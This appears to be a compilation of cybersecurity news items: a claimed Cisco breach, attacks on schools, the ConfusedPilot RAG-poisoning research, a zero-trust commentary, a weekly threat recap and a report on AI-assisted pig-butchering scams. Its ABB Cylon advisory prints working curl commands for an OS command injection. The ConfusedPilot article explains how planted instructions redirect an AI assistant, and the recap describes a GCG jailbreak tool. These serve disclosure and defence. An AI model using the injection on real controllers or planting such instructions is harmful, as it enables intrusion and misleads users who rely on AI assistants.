Intel Broker claims a major data breach at Cisco, allegedly stealing source codes, confidential documents, and credentials from…

Intel Broker claims a major data breach at Cisco, allegedly stealing source codes, confidential documents, and credentials from global firms like Verizon, AT&T, Microsoft, and more. Data is now for sale on Breach Forums.

Intel Broker, a hacker notorious for high-profile data breaches, is claiming to have breached the technology giant Cisco Systems, Inc. In a post on the cybercrime platform **Breach Forums**, the hacker stated that the breach enabled them to steal a massive amount of sensitive information from Cisco’s systems.

According to the hacker, the alleged data breach took place on October 10, 2024, while the Breach Forum post was published earlier today on October 14, 2024.

Intel Broker’s post (Screenshot: Hackread.com)

****What Was Allegedly Stolen?****

As seen by the Hackread.com research team, Intel Broker has listed a massive amount of data that was allegedly stolen in the breach, including:

*   **Source Code**: Projects from GitHub, GitLab, and SonarQube, critical to Cisco’s development efforts.
*   **Hard-Coded Credentials**: Sensitive information like login details embedded in source code.
*   **Certificates and Keys**: SSL certificates, and public and private keys crucial for secure communications.
*   **Confidential Documents**: Internal documents and information classified as “Cisco Confidential.”
*   **API Tokens and Storage Buckets**: AWS private buckets, Azure storage buckets, and API tokens that could be used to access critical systems.
*   **Other Sensitive Information**: Jira tickets, Docker builds, and Cisco premium products are also listed.

****Impact on Major Corporations****

Intel Broker also shared a list of companies whose production source codes were allegedly taken during the breach. The list includes several high-profile firms, particularly in the telecommunications and financial sectors, such as:

*   **Telecom Companies**: Verizon, AT&T (USA and Mexico), British Telecom, T-Mobile (USA and Poland), Vodafone (Albania and Australia), and Turkcell.
*   **Financial Institutions**: Bank of America, Barclays, and National Australian Bank.
*   **Tech and Health**: Microsoft, Liberty Global, and Dignity Health.

Sample documents shared by the hacker (Screenshot: Hackread.com)

****Data for Sale****

Intel Broker is offering the stolen data for sale in exchange for Monero (XMR), a cryptocurrency known for its privacy features. The hacker indicated that they are open to using a middleman to facilitate the transaction, ensuring **anonymity** for both the buyer and seller. This method is a common practice among cybercriminals to avoid detection and tracking by authorities.

****Unverified but Serious Claims****

At the time of writing, Hackread.com, which first spotted the hacker’s claims, has reached out to Cisco for comment, but no official response has been given. The breach, if confirmed, could have major consequences for Cisco and the affected companies, raising concerns about the extent of the damage and the potential exploitation of the compromised data.

****Intel Broker and Previous Breaches****

Intel Broker is known for high-profile data breaches. **In June 2024**, the hacker claimed to have breached Apple Inc., stealing source code for internal tools. The same hacker boasted about **breaching AMD** (Advanced Micro Devices, Inc.), and stealing employee and product information.

**In May 2024**, Intel Broker hacked Europol, a breach that the agency later confirmed. Some of the hacker’s previous data breaches are listed below:

*   **Tech in Asia**
*   **Space-Eyes**
*   **Home Depot**
*   **Facebook Marketplace**
*   **U.S. contractor Acuity Inc.**
*   **Staffing giant Robert Half**
*   **Los Angeles International Airport**
*   **Alleged breaches of HSBC and Barclays Bank**

Although the hacker’s origins and affiliates are unknown, according to the United States government, IntelBroker is alleged to be the perpetrator behind one of the **T-Mobile data breaches**.

Nevertheless, these claims regarding the Cisco data breach go on to show the cybersecurity risks faced even by large organizations. As more details emerge, the scale of this breach and its potential fallout will be closely watched.

1.  **Akira Ransomware Targets Businesses via Exploited CISCO VPNs**
2.  **Cisco Network Breach as Employee’s Google Account** **was** **Hacked**
3.  **Hackers Claim 10TB Breach at Russian Cybersecurity Firm Dr.Web**
4.  **Hackers leave US flag after targeting Cisco switches in Russia & Iran**
5.  **Ex-worker hacked Cisco AWS Infrastructure; erased virtual machines**

Intel Broker Claims Cisco Breach, Selling Stolen Data from Major Firms

Education, including K-12 schools and universities, has become the third most targeted sector due to the high variety of sensitive data it stores in its databases.

Source: SeventyFour Images via Alamy Stock Photo

Malicious actors are increasingly targeting K-12 and higher education institutions, an "industry of industries" as Microsoft's new report calls it, due to the immense amount of private data that these enterprises handle.

From information regarding financial data to health records and other sensitive information, hackers have a host of pickings to choose from if they are successful in their exploitation attempts, Microsoft's Threat Intelligence report explained.

"The combination of value and vulnerability found in education systems has attracted the attention of a spectrum of cyberattackers — from malware criminals employing new techniques to nation-state threat actors engaging in old-school spy craft," Microsoft said.

Education as an industry faces a variety of issues that prompt attacks from hackers: security staffing limitations; difficult-to-secure IT systems; virtual/remote learning environments; extensive QR code usage; open email systems; lack of funding; and more. There's also the issue of users — some as young as 6 years old — who are too young to know safe cybersecurity habits and are liable to compromise a network. 

The education sector deals with an average of 2,507 attempted cyberattacks on a weekly basis from nation-state groups to ransomware gangs, with universities especially presenting their own unique challenges due to the culture of sharing information, research, and innovation, Microsoft found.

Some of the nation-state actors that Microsoft highlights are Peach Sandstorm, Mint Sandstorm, Mabna Institute, Emerald Sleet, and Moonstone Sleet, with an honorable mention for Storm-1877, which is still in development. 

Education institutions can protect themselves from these threats by implementing a new security curriculum, such as maintaining and scaling core cyber hygiene, prioritizing cyber awareness at all levels, whether students, IT staff, or faculty. Microsoft also advised hardening overall security posture as well as centralizing the technology stack, and implementing better monitoring procedures to get a clear picture of security posture and potential vulnerabilities.  

Microsoft highlighted some institutions such as Oregon State University and the Arizona Department of Education, which are both doing noteworthy jobs of implementing an ace cyber posture. The former's progress came in response to a major cybersecurity incident, prompting its Security Operations Center (SOC) alongside the help of AI and automated capabilities; the latter which focuses on zero-trust principles by blocking any traffic outside of the US from its 365 environment, Azure, and data center.

Microsoft: Schools Grapple With Thousands of Cyberattacks Weekly

Attackers can introduce a malicious document in systems such as Microsoft 365 Copilot to confuse the system, potentially leading to widespread misinformation and compromised decision-making processes.

Source: Mopic via Shutterstock

Attackers can add a malicious document to the data pools used by artificial intelligence (AI) systems to create responses, which can confuse the system and potentially lead to misinformation and compromised decision-making processes within organizations.

Researchers from the Spark Research Lab at the University of Texas (UT) at Austin discovered the attack vector, which they've dubbed ConfusedPilot because it affects all retrieval augmented generation (RAG)-based AI systems, including Microsoft 365 Copilot. This includes other RAG-based systems that use Llama, Vicuna, and OpenAI, according to the researchers.

"This attack allows manipulation of AI responses simply by adding malicious content to any documents the AI system might reference," Claude Mandy, chief evangelist at Symmetry, wrote in a paper about the attack, which was presented at the DEF CON AI Village 2024 conference in August but was not widely reported. The research was conducted under the supervision of Symmetry CEO and UT professor Mohit Tiwari.

Given that 65% of Fortune 500 companies currently implement or are planning to implement RAG-based AI systems, the potential impact of these attacks cannot be overstated," Mandy wrote. Moreover, the attack is especially dangerous that it requires only basic access to manipulate responses by all RAG-based AI implementations, can persist even after malicious content is removed, and bypasses current AI security measures, he said.

**Malicious Manipulation of RAG**

RAG is a technique for improving response quality and eliminating a large language model (LLM) system’s expensive retraining or fine-tuning phase. It adds a step to the system in which the model retrieves external data to augment its knowledge base, thus enhancing accuracy and reliability in generating responses without the need for retraining or fine-tuning, the researchers said.

The researchers chose to focus on Microsoft 365 Copilot for the sake of their presentation and their paper, even though it is not the only RAG-based system affected. Rather, "the main culprit of this problem is misuse of RAG-based systems … via improper setup of access control and data security mechanisms," according to the ConfusedPilot website hosted by the researchers.

In normal circumstances, a RAG-based AI system will use a retrieval mechanism to extract relevant keywords to search and match with resources stored in a vector database, using that embedded context to create a new prompt containing the relevant information to reference.

**How the Attack Works**

In a ConfusedPilot attack, a threat actor could introduce an innocuous document that contains specifically crafted strings into the target’s environment. "This could be achieved by any identity with access to save documents or data to an environment indexed by the AI copilot," Mandy wrote.

The attack flow that follows from the user's perspective is this: When a user makes a relevant query, the RAG system retrieves the document containing these strings. The malicious document contains strings that could act as instructions to the AI system that introduce a variety of malicious scenarios.

These include: content suppression, in which the malicious instructions cause the AI to disregard other relevant, legitimate content; misinformation generation, in which the AI generates a response using only the corrupted information; and false attribution, in which the response may be falsely attributed to legitimate sources, increasing its perceived credibility.

Moreover, even if the malicious document is later removed, the corrupted information may persist in the system’s responses for a period of time because the AI system retains the instructions, the researchers noted.

**Victimology and Mitigations**

The ConfusedPilot attack basically has two victims: The first is the LLM within the RAG-based system, while the second is the person receiving the response from the LLM, who very likely could be an individual working at a large enterprise or service provider. Indeed, these two types of companies are especially vulnerable to the attack, as they allow multiple users or departments to contribute to the data pool used by these AI systems, Mandy noted.

"Any environment that allows the input of data from multiple sources or users — either internally or from external partners — is at higher risk, given that this attack only requires data to be indexed by the AI Copilots," he wrote.

Enterprise systems likely to be negatively affected by the attack include enterprise knowledge-management systems, AI-assisted decision support systems, and customer-facing AI services.

Microsoft did not immediately respond to request for comment by Dark Reading on the attack's affect on Copilot. However, the researchers noted in their paper that the company has been responsive in coming up with "practical mitigation strategies" and addressing the potential for attack in its development of its AI technology. Indeed, the latter is key to long-term defense against such an attack, which depends on "better architectural models" that "try to separate the data plan from the control plan in these models," Mandy noted.

Meanwhile, current strategies for mitigation include: data access controls that limit and scrutinize who can upload, modify, or delete data that RAG-based systems reference; data integrity audits that regularly verify the integrity of an organization's data repositories to detect unauthorized changes or the introduction of malicious content early; and data segmentation that keeps sensitive data isolated from broader datasets wherever possible to prevent the spread of corrupted info across the AI system.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

ConfusedPilot Attack Can Manipulate RAG-Based AI Systems

Ultimately, the goal of creating a trusted environment around all digital assets and devices is about modernizing the way you do business.

Alex Simons, Corporate VP, Product Management, Microsoft Identity and Network Access

October 14, 2024

5 Min Read

Source: Brian Jackson via Alamy Stock Photo

COMMENTARY

In today's digital world, threats are around every corner. The technology behind attacks is increasingly sophisticated. Actors include criminal organizations seeking big payouts and nation-states conducting espionage and looking for opportunities to create chaos.  

At the same time, the world continues to transform rapidly around us. With artificial intelligence (AI), we're about to go through the biggest business transformation since the widespread adoption of the Internet, and the bad guys are also exploring how they can use AI for harm.  

In a mobile, cloud-first, AI-driven world, companies must be ready to use world-class technology and processes to protect themselves, their data, and their people, wherever they go.  

Today, those technologies are coalescing around a modern vision for what is, at its heart, one of our most ancient security solutions: our own unique identity. Let's take a look at how a modern version of this ancient solution can help protect our digital lives.  

**Your Castle Walls Have Fallen. What Now? **

Fifteen years ago, the world's security best practice was a "moat-and-castle" model. Organizations kept their most important resources inside their office networks and wrapped a firewall around them.  

As long as their people and resources were inside the wall, everybody could connect to everything as the entire estate was trusted and contained. Your biggest concerns were insider threats or invaders trying to storm your firewall.  

Today, many employees are embracing hybrid and mobile workstyles. We're also adding cloud-scale AI that, by design, is not inside the firewall, while highly mobile workers use VPNs to access applications while outside the network. All this makes the old moat-and-castle security paradigm terribly outdated.  

Additionally, in many ways, companies are becoming cloud services — as their partners, suppliers and customers increasingly interact with them through digital experiences for product discovery, ordering, payment, invoicing, customer service, and customer loyalty programs.  

**Since Data and People Are Always in Transit, Security Should Flow Wherever They Go**

In a world where every organization is a cloud service that needs to securely interact with everybody and everything, companies must ensure that all of their connections are secure and that only the right people, software, devices, and networks are allowed access.  

This is known as a zero-trust model. In a zero-trust environment, every time a user, a device, or a workload wants to access your digital assets and services, they have to prove that they, their software, and the network they're using are all trustworthy. This is why identity plays such an important role in this new security model. By default, all access to everything is closed off until you have a strong proof of the identity and authenticity of the person and of their device. 

Designing, deploying, and running this kind of identity powered zero-trust enterprise environment can be challenging. It requires having a coordinated strategy across multiple teams to design, deploy, and run a security solution that brings together user and workload accounts, device management, device protection, network state, and an inventory of digital resources and permissions, and enables the enforcement of adaptive, granular access policies across the enterprises entire digital estate. 

**Identity: Even More Important in the Era of AI **

If your organization doesn't have this kind of identity-centric zero-trust model in place today, moving to an AI future is going to be risky and challenging. When you deploy a large language model (LLM) assistant, it becomes incredibly easy for employees to find content from across all your  documents and files, even the ones you didn’t know they had rights to access.  

And that also means an intruder could use the AI assistant to run queries for assets that they never should be able to find. Where organizations used to have the benefit of obscure file hierarchies to waste an attacker's time, today's super-smart AI engines make it incredibly easy to quickly find information anywhere it's stored.  

The solution is something called "workload identities." A workload identity is the identity your software systems use to get things done. Having your co-pilot or your LLM use a workload identity with well-managed permissions means that it can only get to the specific documents and files you allow it to access, which enables you to govern and secure the LLM's access just like you would for any user.  

**Modern Security Benefits Everyone**

Ultimately, creating a trusted environment can modernize the way you do business. Now, employees can work from anywhere. The company can hire talent it wouldn't have access to before. The company can work directly with customers and suppliers digitally. And you can do all that in a world of cloud, AI, and mobile resources that can easily scale up and down.  

Employees, partners, and customers all get a seamless experience on the devices they choose, wherever they want to work. And chief information security officers (CISOs) can be confident that it's happening with security omnipresent.  

And it's all made possible by focusing on the oldest access solution of all — your own unique identity.  

**About the Author**

Corporate VP, Product Management, Microsoft Identity and Network Access

Alex Simons is corporate vice president, product management, Microsoft Identity and Network Access Division. He is responsible for driving the vision and strategy, product roadmap, and feature design of the Microsoft Entra Suite. He prides himself on being deeply connected to customers and has direct relationships with many of Microsoft’s largest enterprise customers. In addition to managing his own team, Alex is responsible for partnering with teams across Office, Windows, Azure, Visual Studio, Dynamics, Xbox, and LinkedIn to deliver world-class identity experiences and security and compliance controls.

Why Your Identity Is the Key to Modernizing Cybersecurity

ABB Cylon Aspect version 3.08.00 suffers from an authenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the PROXY HTTP POST parameter called by the yumSettings.php script.

  
ABB Cylon Aspect 3.08.00 (yumSettings.php) Remote Code Execution

Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
                  Firmware: <=3.08.00

Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an authenticated OS command  
injection vulnerability. This can be exploited to inject and execute arbitrary  
shell commands through the 'PROXY' HTTP POST parameter called by the yumSettings.php  
script.

Tested on: GNU/Linux 3.15.10 (armv7l)  
           GNU/Linux 3.10.0 (x86_64)  
           GNU/Linux 2.6.32 (x86_64)  
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
           PHP/7.3.11  
           PHP/5.6.30  
           PHP/5.4.16  
           PHP/4.4.8  
           PHP/5.3.3  
           AspectFT Automation Application Server  
           lighttpd/1.4.32  
           lighttpd/1.4.18  
           Apache/2.2.15 (CentOS)  
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
                            @zeroscience

Advisory ID: ZSL-2024-5841  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5841.php

21.04.2024

--

$ cat project

                 P   R   O   J   E   C   T

                        .|  
                        | |  
                        |'|            ._____  
                ___    |  |            |.   |' .---"|  
        _    .-'   '-. |  |     .--'|  ||   | _|    |  
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |  
     |' | |.    |    ||       | |   |  |    ||      |  
 ____|  '-'     '    ""       '-'   '-.'    '`      |____  
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░    
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░   
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░   
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 

$ curl -X POST "http://192.168.73.31/yumSettings.php" \  
> -H "Cookie: PHPSESSID=xxx" \  
> -d "CMD=set&PROXY=;id>/tmp/blah"  
Set proxy called - no proxy given:  
$   
$ curl -X POST "http://192.168.73.31/caldavUtil.php" \  
> -d "command=postFooter&Footer=%60cat /tmp/blah%60"  
Set footer to uid=33(www-data) gid=33(www-data) groups=33(www-data):

ABB Cylon Aspect 3.08.00 yumSettings.php Command Injection

Hey there, it's your weekly dose of "what the heck is going on in cybersecurity land" – and trust me, you NEED to be in the loop this time. We've got everything from zero-day exploits and AI gone rogue to the FBI playing crypto kingpin – it's full of stuff they don't 🤫 want you to know.
So let's jump in before we get FOMO.
⚡ Threat of the Week
GoldenJackal Hacks Air-Gapped Systems: Meet

Hey there, it's your weekly dose of "_what the heck is going on in cybersecurity land_" – and trust me, you NEED to be in the loop this time. We've got everything from zero-day exploits and AI gone rogue to the FBI playing crypto kingpin – it's full of stuff they don't 🤫 want you to know.

So let's jump in before we get FOMO.

****⚡ Threat of the Week****

**GoldenJackal Hacks Air-Gapped Systems:** Meet GoldenJackal, the hacking crew you've probably never heard of – but should definitely know about now. They're busting into super-secure, air-gapped computer systems with sneaky worms spread through infected USB drives (yes, really!), proving that even the most isolated networks aren't safe. ESET researchers caught them red-handed using two different custom-made tools to target high-profile victims, including a South Asian embassy in Belarus and a European Union government organization.

****🔔 Top News****

*   **Mozilla Patches Firefox 0-Day:** Mozilla patched a critical zero-day flaw in its Firefox browser that it said has been actively exploited in the wild to target Tor browser users. While there are currently no details on the attacks, users are advised to update to Firefox 131.0.2, Firefox ESR 128.3.1, and Firefox ESR 115.16.1.
*   **Contagious Interview Remains Lucrative for N. Korea:** Ever since details about a North Korean hacking campaign called Contagious Interview came to light nearly a year ago, it has continued to target the technology sector with no signs of stopping anytime soon. These attacks aim to deliver backdoors and information-stealing malware by deceiving developers into executing malicious code under the pretext of a coding assignment as part of a job interview after approaching them on platforms like LinkedIn.
*   **OpenAI Disrupts Malicious Operations:** OpenAI said it has disrupted over 20 malicious cyber operations since the start of the year that abused its generative artificial intelligence (AI) chatbot, ChatGPT, for debugging and developing malware, spreading misinformation, evading detection, and vulnerability research. One of the activity clusters was observed targeting OpenAI employees via spear-phishing attacks to deploy the SugarGh0st RAT.
*   **FBI Creates Fake Crypto to Disrupt Fraudulent Operation:** The U.S. Federal Bureau of Investigation (FBI) took the "unprecedented step" of creating its own cryptocurrency token and a company called NexFundAI to take down a fraud operation that allegedly manipulated digital asset markets by orchestrating an illegal scheme known as wash trading. A total of 18 people and entities have been charged in connection with the pump-and-dump scam, with three arrests reported so far.
*   **Gorilla Botnet Launches 300,000 DDoS Attacks Across 100 Countries:** A botnet malware family called Gorilla issued over 300,000 attack commands in the month of September 2024 alone, targeting universities, government websites, telecoms, banks, gaming, and gambling sectors. China, the U.S., Canada, and Germany. The botnet is based on the leaked Mirai botnet source code.

****📰 Around the Cyber World****

*   **Microsoft Announces Windows 11 Security Baseline:** Microsoft has released the Windows 11, version 24H2 security baseline with added protections to LAN Manager, Kerberos, User Account Control, and Microsoft Defender Antivirus. It also includes Windows Protected Print (WPP), which the company described as the "new, modern and more secure print for Windows built from the ground up with security in mind." In a related development, the tech giant announced a redesigned Windows Hello experience and API support for third-party passkey providers like 1Password and Bitwarden to plug into the Windows 11 platform.
*   **Apple macOS iPhone Mirroring is Broken:** Apple announced a new iPhone mirroring feature with macOS 15.0 Sequoia, but cybersecurity firm Sevco has uncovered a privacy risk that could expose metadata associated with apps on an employee's personal iPhone to their corporate IT department. The issue stems from the fact that the iOS apps mirrored to the Mac populate the same application metadata as native macOS applications, thereby leaking information about the apps that may be installed on their phones. Apple has acknowledged the problem and is said to be working on a fix.
*   **Social Engineering Via Phone Calls:** Threat actors have found an effective social engineering vector in phone calls in order to trick users into performing an unintended action, a technique also called telephone-oriented attack delivery (TOAD), callback phishing, and hybrid vishing (a combination of voice and phishing). Intel 471 said it has observed a "sharp increase in underground offers for illicit call center services that can aid in malware delivery, ransomware-related calls, and other fraud-oriented social-engineering attempts."
*   **Malicious Extensions Can Bypass Manifest V3:** Google has said Manifest V3, its latest version of the extensions platform, avoids the security loopholes of its predecessor, which allowed browser add-ons to have excessive permissions and inject arbitrary JavaScript. However, new research has found that it's still possible for malicious actors to exploit minimal permissions and steal data. The findings were presented by SquareX at the DEF CON conference back in August. The research also coincides with a study that discovered "hundreds of extensions automatically extracting user content from within web pages, impacting millions of users."
*   **What can a USB reveal?:** A new analysis from Group-IB goes into detail about the artifacts generated in the USB device when files are accessed or modified on devices running various operating systems. "USB formatted with NTFS, FAT32, and ExFAT often create temporary files, particularly during file modifications," the company said. "USB formatted with NTFS on Windows provided more information on file system changes from the $Logfile due to its journaling capabilities." USB formatted with HFS+ has been found to store versions of files that have been edited with GUI tools in a versioning database. Likewise, USB formatted with FAT32/ExFAT on macOS generates ". \_filename" files to ensure file system compatibility for storing extended attributes.

**🔥 **Cybersecurity Resources & Insights****

*   **Expert Webinars**
    *   **Building a Successful Data Security Posture Management Program**: Drowning in data security headaches? Hear directly from Global-e's CISO how Data Security Posture Management (DSPM) transformed their data security. Get real-world insights, and practical advice, get your questions answered and actionable strategies in this exclusive webinar, and walk away with a clear roadmap. Reserve your seat today!
    *   **Ex-Mandiant Expert Exposes Identity Theft Tactics**: LUCR-3 is breaching organizations like yours through identity-based attacks. Learn how to protect your cloud and SaaS environments from this advanced threat. Cybersecurity expert Ian Ahl (former Mandiant) reveals the latest tactics and how to defend your organization. Register for this crucial webinar to gain the upper hand.
*   **Ask the Expert**
    *   **Q: With mobile devices increasingly targeted by cybercriminals, how can individuals protect their devices from network-based attacks, especially in unfamiliar or high-risk environments, such as when traveling?**
    *   **A:** When you're traveling, your mobile device can be a target for attacks like rogue base stations—fake cell towers set up to steal data or track your location. To protect yourself, start by enabling Lockdown Mode on iPhones, which blocks vulnerable 2G connections. Always use a VPN to keep your internet traffic encrypted and avoid using public Wi-Fi without it. A great tool to boost your awareness is the CellGuard app for iOS. It scans your network for suspicious activity, like rogue base stations, by analyzing things like signal strength and network anomalies. While it may flag some false alarms, it gives you an extra layer of protection.
*   **Cybersecurity Tools**
    *   **Broken Hill: A New Tool to Test AI Models' Weaknesses** \- It is an advanced tool that makes it easy to trick large AI models into misbehaving by bypassing their restrictions. It uses the Greedy Coordinate Gradient (GCG) attack to craft clever prompts that push popular models, like Llama-2 and Microsoft's Phi, to respond in ways they normally wouldn't. The best part? You can run it on consumer GPUs, like the Nvidia RTX 4090, without needing costly cloud servers. Ideal for researchers and security testers, Broken Hill helps uncover and fix vulnerabilities in AI models, making it a must-have tool in the fight against AI threats.
*   **Tip of the Week**
    *   **Your Browser Extensions Are Spying on You:** Browser extensions can be useful but also risky, with potential access to your data or hidden malware. Protect yourself by removing unused extensions, checking their permissions, and only allowing them to run on specific sites. Enable "Click to activate" for more control, and use tools like Chrome's Extension Source Viewer to spot any suspicious behavior. Keep extensions updated, monitor network traffic for unusual activity, and consider using a separate browser for sensitive tasks. Features like Firefox's Temporary Container Tabs can also help by isolating extension access. These simple steps can keep your browsing safer.

****Conclusion****

And that's how the cybersecurity cookie crumbles this week! But listen, before you log off and chill, remember this: always double-check the sender's email address before clicking any links, even if it looks like it's from your bestie or your bank. Phishing scams are getting sneakier than ever, so stay sharp! Until next time, stay safe and cyber-aware!

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

THN Cybersecurity Recap: Top Threats, Tools and Trends (Oct 7 - Oct 13)

Scammers in Southeast Asia are increasingly turning to AI, deepfakes, and dangerous malware in a way that makes their pig butchering operations even more convincing.

As digital scamming explodes in Southeast Asia, including so called “pig butchering” investment scams, the United Nations Office on Drugs and Crime (UNODC) issued a comprehensive report this week with a dire warning about the rapid growth of this criminal ecosystem. Many digital scams have traditionally relied on social engineering, or tricking victims into giving away their money willingly, rather than leaning on malware or other highly technical methods. But researchers have increasingly sounded the alarm that scammers are incorporating generative AI content and deepfakes to expand the scale and effectiveness of their operations. And the UN report offers the clearest evidence yet that these high tech tools are turning an already urgent situation into a crisis.

In addition to buying written scripts to use with potential victims or relying on templates for malicious websites, attackers have increasingly been leaning on generative AI platforms to create communication content in multiple languages and deepfake generators that can create photos or even video of nonexistent people to show victims and enhance verisimilitude. Scammers have also been expanding their use of tools that can drain a victim’s cryptocurrency wallets, have been manipulating transaction records to trick targets into sending cryptocurrency to the wrong places, and are compromising smart contracts to steal cryptocurrency. And in some cases, they’ve been purchasing Elon Musk’s Starlink satellite internet systems to help power their efforts.

“Agile criminal networks are integrating these new technologies faster than anticipated, driven by new online marketplaces and service providers which have supercharged the illicit service economy,” John Wojcik, a UNODC regional analyst, tells WIRED. “These developments have not only expanded the scope and efficiency of cyber-enabled fraud and cybercrime, but they have also lowered the barriers to entry for criminal networks that previously lacked the technical skills to exploit more sophisticated and profitable methods.”

For years, China-linked criminals have trafficked people into gigantic compounds in Southeast Asia, where they are often forced to run scams, held against their will, and beaten if they refuse instructions. Around 200,000 people, from at least 60 countries, have been trafficked to compounds largely in Myanmar, Cambodia, and Laos over the last five years. However, as WIRED reporting has shown, these operations are spreading globally—with scamming infrastructure emerging in the Middle East, Eastern Europe, Latin America, and West Africa.

Most prominently, these organized crime operations have run pig butchering scams, where they build intimate relationships with victims before introducing an “investment opportunity” and asking for money. Criminal organizations may have conned people out of around $75 billion through pig butchering scams. Aside from pig butchering, according to the UN report, criminals across Southeast Asia are also running job scams, law enforcement impersonation, asset recovery scams, virtual kidnappings, sextortion, loan scams, business email compromise, and other illicit schemes. Criminal networks in the region earned up to $37 billion last year, UN officials estimate. Perhaps unsurprisingly, all of this revenue is allowing scammers to expand their operations and diversify, incorporating new infrastructure and technology into their systems in the hope of making them more efficient and brutally effective.

For example, scammers are often constrained by their language skills and ability to keep up conversations with potentially hundreds of victims at a time in numerous languages and dialects. However, generative AI developments within the last two years—including the launch of writing tools such as ChatGPT—are making it easier for criminals to break down language barriers and create the content needed for scamming.

The UN’s report says AI can be used for automating phishing attacks that ensnare victims, the creation of fake identities and online profiles, and the crafting of personalized scripts to trick victims while messaging them in different languages. “These developments have not only expanded the scope and efficiency of cyber-enabled fraud and cybercrime, but they have also lowered the barriers to entry for criminal networks that previously lacked the technical skills to exploit sophisticated and profitable methods,” the report says.

Stephanie Baroud, a criminal intelligence analyst in Interpol’s human trafficking unit, says the impact of AI needs to be considered as part of a pig butchering scammer’s tactics going forward. Baroud, who spoke with WIRED in an interview before the publication of the UN report, says the criminal’s recruitment ads that lure people into being trafficked to scamming compounds used to be “very generic” and full of grammatical errors. However, AI is now making them appear more polished and compelling, Baroud says. “It is really making it easier to create a very realistic job offer,” she says. “Unfortunately, this will make it much more difficult to identify which is the real and which is the fake ads.”

Perhaps the biggest AI paradigm shift in such digital attacks comes from deepfakes. Scammers are increasingly using machine-learning systems to allow for real-time face-swapping. This technology, which has also been used by romance scammers in West Africa, allows criminals to change their appearance on calls with their victims, making them realistically appear to be a different person. The technology is allowing “one-click” face swaps and high-resolution video feeds, the UN’s report states. Such services are a game changer for scammers, because they allow attackers to “prove” to victims in photos or real-time video calls that they are who they claim to be.

Using these setups, however, can require stable internet connections, which can be harder to maintain within some regions where pig butchering compounds and other scamming have flourished. There has been a “notable” increase in cops seizing Starlink satellite dishes in recent months in Southeast Asia, the UN says—80 units were seized between April and June this year. In one such operation carried out in June, Thai police confiscated 58 Starlink devices. In another instance, law enforcement seized 10 Starlink devices and 4,998 preregistered SIM cards while criminals were in the process of moving their operations from Myanmar to Laos. Starlink did not immediately respond to WIRED’s request for comment.

“Obviously using real people has been working for them very well, but using the tech could be cheaper after they have the required computers” and connectivity, says Troy Gochenour, a volunteer with the Global Anti-Scam Organization (GASO), a US-based nonprofit that fights human-trafficking and cybercrime operations in Southeast Asia.

Gochenour’s research involves tracking trends on Chinese-language Telegram channels related to carrying out pig butchering scams. And he says that it is increasingly common to see people applying to be AI models for scam content.

In addition to AI services, attackers have increasingly leaned on other technical solutions as well. One tool that has been increasingly common in digital scamming is so-called “crypto drainers,” a type of malware that has particularly been deployed against victims in Southeast Asia. Drainers can be more or less technically sophisticated, but their common goal is to “drain” funds from a target’s cryptocurrency wallets and redirect the currency to wallets controlled by attackers. Rather than stealing the credentials to access the target wallet directly, drainers are typically designed to look like a legitimate service—either by impersonating an actual platform or creating a plausible brand. Once a victim has been tricked into connecting their wallet to the drainer, they are then manipulated into approving one or a few transactions that grant attackers unintended access to all the funds in the wallet.

